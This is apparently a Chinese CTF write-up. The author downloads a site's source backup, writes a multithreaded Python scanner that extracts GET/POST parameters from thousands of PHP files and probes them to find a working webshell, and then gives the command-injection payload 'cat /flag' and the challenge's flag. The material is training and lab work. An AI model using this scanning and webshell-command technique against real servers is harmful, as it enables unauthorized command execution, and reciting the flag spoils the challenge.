题目
解答
1、打开网址
根据提示,存在网站源码备份
2、在网址后面加上/www.tar.gz,下载网站源码,打开
发现有3000多个文件,头疼…
3、随便打开一个文件
发现文件中很多shell,包括eval,system,exce,assert等函数
4、一个一个文件打开去找是不现实,故只能编写脚本,但是测试网址最后不要是题目网址,会因为请求过于频繁而返回不正常信息。
最好的办法是在本地搭建环境进行测试,我是在虚拟机中搭建了环境,说干就干,编写脚本
import os
import re
import requests
import threading
import time
path = r'C:\Users\DiliLearngent\Downloads\src'
Thread_num = 10
Flag = 0
#获取文件名列表,以线程数分类
def GetFile(path,Thread_num):
# 获取所有的文件名
file_name = os.listdir(path)
#将所有元素分配到
file_name_list = [file_name[i:i + Thread_num] for i in range(0, len(file_name), Thread_num)]
# print(file_name_list)
return file_name_list
#寻找一个文件中可用的参数并测试
def read_file(url,file_name):
path1 = path+"\\"+file_name
with open(path1, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
param = {} #存取所有get
data = {} #存取所有post
for i in gets:
param[i] = "echo 'hello world!';"
for j in posts:
data[j] = "echo 'hello world!';"
#开始请求
request = requests.session()
url = url+file_name
r = request.post(url,data=data,params=param)
r.close()
r.encoding = 'utf-8'
content = r.text
flag = 0
if 'hello world!' in content:
# print(file_name)
for i in gets:
req = requests.session().get(url=url+'?%s='%i+"echo 'hello world!';")
req.encoding = 'utf-8'
content = req.text
# print(content)
req.close()
if "hello world!" in content:
print("找到了可用文件:"+file_name+" 可用参数为:%s" %i+" 方式为Get")
flag = 1
break
else:
time.sleep(1)
if flag==1:
break
if flag == 0:
for i in posts:
req = requests.session().post(url,data = {i:"echo 'hello world!';"})
req.encoding = 'utf-8'
content = req.text
req.close()
if "hello world!" in content:
print("找到了可用文件:"+file_name+" 可用参数为:%s" %i+" 方式为Post")
flag = 1
break
else:
time.sleep(1)
if flag==1:
Flag = 1
#线程执行函数
def Fun_Thread(url,file_name_list):
for i in file_name_list:
if Flag==0:
read_file(url,i)
time.sleep(3)
else:
break
if __name__=="__main__":
url = r"http://10.86.48.31/SRC/"
file_name_list = GetFile(path=path,Thread_num=Thread_num)
for i in file_name_list:
t = threading.Thread(target=Fun_Thread,args=(url,i))
t.start()
执行结果:
其实代码中那几个sleep可以不用,那是我在测试做题平台加上去的,奈何还是请求过于频繁
4、找到了正确的文件和参数后,就可以构造payload,美滋滋
payload:/xk0SzyKwfzw.php?Efa5BVG=cat /flag;
flag{2fc21854-6b1e-4ab9-8262-d0216037789a}
搞定!!!!
编写代码测试后一直不能找到文件,所以不断调试,结果是在url处少了一个?号,所以编写代码的时候一定要仔细
知识点
这里的知识点比较少,主要考察的是python代码编写的能力
关于python中requests的用法,后面会出一篇比较详细的博客